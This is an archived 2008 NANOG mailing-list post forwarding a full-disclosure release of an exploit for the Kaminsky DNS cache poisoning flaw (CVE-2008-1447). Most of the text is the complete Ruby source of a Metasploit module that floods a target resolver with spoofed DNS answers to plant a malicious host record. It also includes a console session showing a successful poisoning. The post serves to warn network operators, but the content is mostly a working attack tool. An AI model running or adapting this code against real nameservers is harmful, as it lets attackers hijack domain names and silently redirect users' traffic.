[106208] in North American Network Operators' Group
[Fwd: CAU-EX-2008-0002: Kaminsky DNS Cache Poisoning Flaw Exploit]
daemon@ATHENA.MIT.EDU (Stephen Williams)
Thu Jul 24 11:59:17 2008
Date: Thu, 24 Jul 2008 11:07:05 -0500
From: Stephen Williams <williams@csr.utexas.edu>
To: nanog@nanog.org
Errors-To: nanog-bounces@nanog.org
This is a multi-part message in MIME format.
--------------020703080209010108030708
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
just posted on bugtraq and uk newsgroups....
-------- Original Message --------
Subject: CAU-EX-2008-0002: Kaminsky DNS Cache Poisoning Flaw Exploit
Date: Wed, 23 Jul 2008 18:34:26 -0500
From: I)ruid <druid@caughq.org>
Organization: Computer Academic Underground
To: full-disclosure@lists.grok.org.uk
CC: bugtraq <bugtraq@securityfocus.com>
____ ____ __ __
/ \ / \ | | | |
----=3D=3D=3D=3D####/ /\__\##/ /\ \##| |##| |####=3D=3D=3D=3D=
----
| | | |__| | | | | |
| | ___ | __ | | | | |
------=3D=3D=3D=3D=3D=3D######\ \/ /#| |##| |#| |##| |######=3D=3D=
=3D=3D=3D=3D------
\____/ |__| |__| \______/
Computer Academic Underground
http://www.caughq.org
Exploit Code
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D/=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Exploit ID: CAU-EX-2008-0002
Release Date: 2008.07.23
Title: bailiwicked_host.rb
Description: Kaminsky DNS Cache Poisoning Flaw Exploit
Tested: BIND 9.4.1-9.4.2
Attributes: Remote, Poison, Resolver, Metasploit
Exploit URL: http://www.caughq.org/exploits/CAU-EX-2008-0002.txt
Author/Email: I)ruid <druid (@) caughq.org>
H D Moore <hdm (@) metasploit.com>
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D/=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Description
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
This exploit targets a fairly ubiquitous flaw in DNS implementations
which allow the insertion of malicious DNS records into the cache of the
target nameserver. This exploit caches a single malicious host entry
into the target nameserver. By causing the target nameserver to query
for random hostnames at the target domain, the attacker can spoof a
response to the target server including an answer for the query, an
authority server record, and an additional record for that server,
causing target nameserver to insert the additional record into the
cache.
Example
=3D=3D=3D=3D=3D=3D=3D
# /msf3/msfconsole
_ _ _ _
| | | | (_) |
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | | __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
| |
|_|
=3D[ msf v3.2-release
+ -- --=3D[ 298 exploits - 124 payloads
+ -- --=3D[ 18 encoders - 6 nops
=3D[ 72 aux
msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
HOSTNAME pwned.example.com yes Hostname to hijack
NEWADDR 1.3.3.7 yes New address for hostname
RECONS 208.67.222.222 yes Nameserver used for=20
reconnaissance
RHOST yes The target address
SRCPORT yes The target server's source=20
query port (0 for automatic)
XIDS 10 yes Number of XIDs to try for=20
each query
msf auxiliary(bailiwicked_host) > set RHOST A.B.C.D
RHOST =3D> A.B.C.D
msf auxiliary(bailiwicked_host) > check
[*] Using the Metasploit service to verify exploitability...
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] FAIL: This server uses static source ports and is vulnerable to=20
poisoning
msf auxiliary(bailiwicked_host) > set SRCPORT 0
SRCPORT =3D> 0
msf auxiliary(bailiwicked_host) > run
[*] Switching to target port 48178 based on Metasploit service
[*] Targeting nameserver A.B.C.D
[*] Querying recon nameserver for example.com.'s nameservers...
[*] Got answer with 2 answers, 0 authorities
[*] Got an NS record: example.com. 172643 IN NS=20
ns89.worldnic.com.
[*] Querying recon nameserver for address of ns89.worldnic.com....
[*] Got answer with 1 answers, 0 authorities
[*] Got an A record: ns89.worldnic.com. 172794 IN A=20
205.178.190.45
[*] Checking Authoritativeness: Querying 205.178.190.45 for example.com..=
=2E.
[*] ns89.worldnic.com. is authoritative for example.com., adding to=20
list of nameservers to spoof as
[*] Got an NS record: example.com. 172643 IN NS=20
ns90.worldnic.com.
[*] Querying recon nameserver for address of ns90.worldnic.com....
[*] Got answer with 1 answers, 0 authorities
[*] Got an A record: ns90.worldnic.com. 172794 IN A=20
205.178.144.45
[*] Checking Authoritativeness: Querying 205.178.144.45 for example.com..=
=2E.
[*] ns90.worldnic.com. is authoritative for example.com., adding to=20
list of nameservers to spoof as
[*] Attempting to inject a poison record for pwned.example.com. into=20
A.B.C.D:48178...
[*] Sent 1000 queries and 20000 spoofed responses...
[*] Sent 2000 queries and 40000 spoofed responses...
[*] Sent 3000 queries and 60000 spoofed responses...
[*] Sent 4000 queries and 80000 spoofed responses...
[*] Sent 5000 queries and 100000 spoofed responses...
[*] Sent 6000 queries and 120000 spoofed responses...
[*] Sent 7000 queries and 140000 spoofed responses...
[*] Poisoning successful after 7000 attempts: pwned.example.com =3D=3D 1.=
3.3.7
[*] Auxiliary module execution completed
msf auxiliary(bailiwicked_host) >
msf auxiliary(bailiwicked_host) > nslookup pwned.example.com A.B.C.D
[*] exec: nslookup pwned.example.com A.B.C.D
Server: A.B.C.D
Address: A.B.C.D#53
Non-authoritative answer:
Name: pwned.example.com
Address: 1.3.3.7
Credits
=3D=3D=3D=3D=3D=3D=3D
Dan Kaminsky is credited with originally discovering this vulnerability.
References
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-1447
http://www.kb.cert.org/vuls/id/800113
Metasploit
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
require 'msf/core'
require 'net/dns'
require 'scruby'
require 'resolv'
module Msf
class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary
include Exploit::Remote::Ip
def initialize(info =3D {})
super(update_info(info,=09
'Name' =3D> 'DNS BailiWicked Host Attack',
'Description' =3D> %q{
This exploit attacks a fairly ubiquitous flaw in DNS implementations =
which
Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a=20
single
malicious host entry into the target nameserver by sending random=20
sub-domain
queries to the target DNS server coupled with spoofed replies to thos=
e
queries from the authoritative nameservers for the domain which=20
contain a
malicious host entry for the hostname to be poisoned in the=20
authority and
additional records sections. Eventually, a guessed ID will match=20
and the
spoofed packet will get accepted, and due to the additional hostname =
entry
being within bailiwick constraints of the original request the=20
malicious host
entry will get cached.
},
'Author' =3D> [ 'I)ruid', 'hdm' ],
'License' =3D> MSF_LICENSE,
'Version' =3D> '$Revision: 5585 $',
'References' =3D>
[
[ 'CVE', '2008-1447' ],
[ 'US-CERT-VU', '8000113' ],
[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ],
],
'Privileged' =3D> true,
'Targets' =3D>
[
["BIND",
{
'Arch' =3D> ARCH_X86,
'Platform' =3D> 'linux',
},
],
],
'DisclosureDate' =3D> 'Jul 21 2008'
))
=09
register_options(
[
OptPort.new('SRCPORT', [true, "The target server's source query=20
port (0 for automatic)", nil]),
OptString.new('HOSTNAME', [true, 'Hostname to hijack',=20
'pwned.example.com']),
OptAddress.new('NEWADDR', [true, 'New address for hostname',=20
'1.3.3.7']),
OptAddress.new('RECONS', [true, 'Nameserver used for=20
reconnaissance', '208.67.222.222']),
OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10=
]),
OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337])=
,
], self.class)
=09
end
=09
def auxiliary_commands
return { "check" =3D> "Determine if the specified DNS server (RHOST) is=
=20
vulnerable" }
end
def cmd_check(*args)
targ =3D args[0] || rhost()
if(not (targ and targ.length > 0))
print_status("usage: check [dns-server]")
return
end
print_status("Using the Metasploit service to verify exploitability..."=
)
srv_sock =3D Rex::Socket.create_udp(
'PeerHost' =3D> targ,
'PeerPort' =3D> 53
) =09
random =3D false
ports =3D []
lport =3D nil
=09
1.upto(5) do |i|
=09
req =3D Resolv::DNS::Message.new
txt =3D=20
"spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd =3D 1
=09
srv_sock.put(req.encode)
res, addr =3D srv_sock.recvfrom()
=09
if res and res.length > 0
res =3D Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s =3D=3D txt and data.strings.join('') =3D~=20
/^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port =3D $1.split(':')
print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
t_port =3D t_port.to_i
if(lport and lport !=3D t_port)
random =3D true
end
lport =3D t_port
ports << t_port
end
end
end=09
end
=09
srv_sock.close
=09
if(ports.length < 5)
print_status("UNKNOWN: This server did not reply to our vulnerability =
check requests")
return
end
=09
if(random)
print_status("PASS: This server does not use a static source port.=20
Ports: #{ports.join(", ")}")
print_status(" This server may still be exploitable, but not by=20
this tool.")
else
print_status("FAIL: This server uses static source ports and is=20
vulnerable to poisoning")
end
end
=09
def run
target =3D rhost()
source =3D Rex::Socket.source_address(target)
sport =3D datastore['SRCPORT']
hostname =3D datastore['HOSTNAME'] + '.'
address =3D datastore['NEWADDR']
recons =3D datastore['RECONS']
xids =3D datastore['XIDS'].to_i
ttl =3D datastore['TTL'].to_i
xidbase =3D rand(4)+2*10000
domain =3D hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0]
srv_sock =3D Rex::Socket.create_udp(
'PeerHost' =3D> target,
'PeerPort' =3D> 53
)
# Get the source port via the metasploit service if it's not set
if sport.to_i =3D=3D 0
req =3D Resolv::DNS::Message.new
txt =3D "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd =3D 1
=09
srv_sock.put(req.encode)
res, addr =3D srv_sock.recvfrom()
=09
if res and res.length > 0
res =3D Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s =3D=3D txt and data.strings.join('') =3D~=20
/^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port =3D $1.split(':')
sport =3D t_port.to_i
print_status("Switching to target port #{sport} based on=20
Metasploit service")
if target !=3D t_addr
print_status("Warning: target address #{target} is not the same=20
as the nameserver's query source address #{t_addr}!")
end
end
end
end
end
# Verify its not already cached
begin
query =3D Resolv::DNS::Message.new
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
query.rd =3D 0
begin
cached =3D false
srv_sock.put(query.encode)
answer, addr =3D srv_sock.recvfrom()
if answer and answer.length > 0
answer =3D Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") =3D=3D hostname and data.address.to_s =3D=3D =
address)
t =3D Time.now + ttl
print_status("Failure: This hostname is already in the target=20
cache: #{name} =3D=3D #{address}")
print_status(" Cache entry expires on #{t.to_s}...=20
sleeping.")
cached =3D true
sleep ttl
end
end
end
end until not cached
rescue ::Interrupt
raise $!
rescue ::Exception =3D> e
print_status("Error checking the DNS name: #{e.class} #{e}=20
#{e.backtrace}")
end
res0 =3D Net::DNS::Resolver.new(:nameservers =3D> [recons], :dns_search=
=3D>=20
false, :recursive =3D> true) # reconnaissance resolver
print_status "Targeting nameserver #{target} for injection of=20
#{hostname} as #{address}"
# Look up the nameservers for the domain
print_status "Querying recon nameserver for #{domain}'s nameservers..."=
answer0 =3D res0.send(domain, Net::DNS::NS)
#print_status " Got answer with #{answer0.header.anCount} answers,=20
#{answer0.header.nsCount} authorities"
barbs =3D [] # storage for nameservers
answer0.answer.each do |rr0|
print_status " Got an #{rr0.type} record: #{rr0.inspect}"
if rr0.type =3D=3D 'NS'
print_status " Querying recon nameserver for address of=20
#{rr0.nsdname}..."
answer1 =3D res0.send(rr0.nsdname) # get the ns's answer for the host=
name
#print_status " Got answer with #{answer1.header.anCount} answers,=20
#{answer1.header.nsCount} authorities"
answer1.answer.each do |rr1|
print_status " Got an #{rr1.type} record: #{rr1.inspect}"
res2 =3D Net::DNS::Resolver.new(:nameservers =3D> rr1.address,=20
:dns_search =3D> false, :recursive =3D> false, :retry =3D> 1)
print_status " Checking Authoritativeness: Querying=20
#{rr1.address} for #{domain}..."
answer2 =3D res2.send(domain)
if answer2 and answer2.header.auth? and answer2.header.anCount >=3D =
1
nsrec =3D {:name =3D> rr0.nsdname, :addr =3D> rr1.address}
barbs << nsrec
print_status " #{rr0.nsdname} is authoritative for #{domain},=20
adding to list of nameservers to spoof as"
end
end
end=09
end
if barbs.length =3D=3D 0
print_status( "No DNS servers found.")
srv_sock.close
disconnect_ip
return
end
# Flood the target with queries and spoofed responses, one will=20
eventually hit
queries =3D 0
responses =3D 0
connect_ip if not ip_sock
print_status( "Attempting to inject a poison record for #{hostname}=20
into #{target}:#{sport}...")
while true
randhost =3D Rex::Text.rand_text_alphanumeric(12) + '.' + domain #=20
randomize the hostname
# Send spoofed query
req =3D Resolv::DNS::Message.new
req.id =3D rand(2**16)
req.add_question(randhost, Resolv::DNS::Resource::IN::A)
req.rd =3D 1
buff =3D (
Scruby::IP.new(
#:src =3D> barbs[0][:addr].to_s,
:src =3D> source,
:dst =3D> target,
:proto =3D> 17
)/Scruby::UDP.new(
:sport =3D> (rand((2**16)-1024)+1024).to_i,
:dport =3D> 53
)/req.encode
).to_net
ip_sock.sendto(buff, target)
queries +=3D 1
=09
# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address=
))
req.add_authority(domain, ttl,=20
Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
req.add_additional(hostname, ttl,=20
Resolv::DNS::Resource::IN::A.new(address))
req.qr =3D 1
req.ra =3D 1
xidbase.upto(xidbase+xids-1) do |id|
req.id =3D id
barbs.each do |barb|
buff =3D (
Scruby::IP.new(
#:src =3D> barbs[i][:addr].to_s,
:src =3D> barb[:addr].to_s,
:dst =3D> target,
:proto =3D> 17
)/Scruby::UDP.new(
:sport =3D> 53,
:dport =3D> sport.to_i
)/req.encode
).to_net
ip_sock.sendto(buff, target)
responses +=3D 1
end
end
# status update
if queries % 1000 =3D=3D 0
print_status("Sent #{queries} queries and #{responses} spoofed=20
responses...")
end
# every so often, check and see if the target is poisoned...
if queries % 250 =3D=3D 0
begin
query =3D Resolv::DNS::Message.new
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
query.rd =3D 0
=09
srv_sock.put(query.encode)
answer, addr =3D srv_sock.recvfrom()
if answer and answer.length > 0
answer =3D Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") =3D=3D hostname and data.address.to_s =3D=3D =
address)
print_status("Poisoning successful after #{queries} attempts:=20
#{name} =3D=3D #{address}")
disconnect_ip
return
end
end
end
rescue ::Interrupt
raise $!
rescue ::Exception =3D> e
print_status("Error querying the DNS name: #{e.class} #{e}=20
#{e.backtrace}")
end
end
end
end
end
end
--=20
I)ruid, C=B2ISSP
druid@caughq.org
http://druid.caughq.org
--=20
'''
(O O)
,-------------- oOO-(_)-OOo -------------,
| Stephen Williams |
| Manager of Computer Services |
| Center for Space Research |
| University of Texas at Austin |
| 3925 W. Braker Ln., Suite 200 |
| Austin, TX 78759-5321 |
| 512.471.7235 512.471.3570 (fax) |
| williams@csr.utexas.edu |
|____________________ Oooo ______________|
oooO ( )
( ) ) /
\ ( (_/
\_)
--------------020703080209010108030708
Content-Type: application/pgp-signature;
name="signature.asc"
Content-Transfer-Encoding: base64
Content-Disposition: inline;
filename="signature.asc"
LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0NClZlcnNpb246IEdudVBHIHYxLjQuNyAo
R05VL0xpbnV4KQ0KDQppRDhEQlFCSWg3Lzl6YlFJYjdCUkV1NFJBc2xsQUtDMnJZUGxRK2d0
NjI1TGVtS2tEN2txeVp4Tm5nQ2dsaElSDQpxcndXa2NDTGlGdkxHWDlHajRmMVkrQT0NCj1F
a2xUDQotLS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0NCg0K
--------------020703080209010108030708--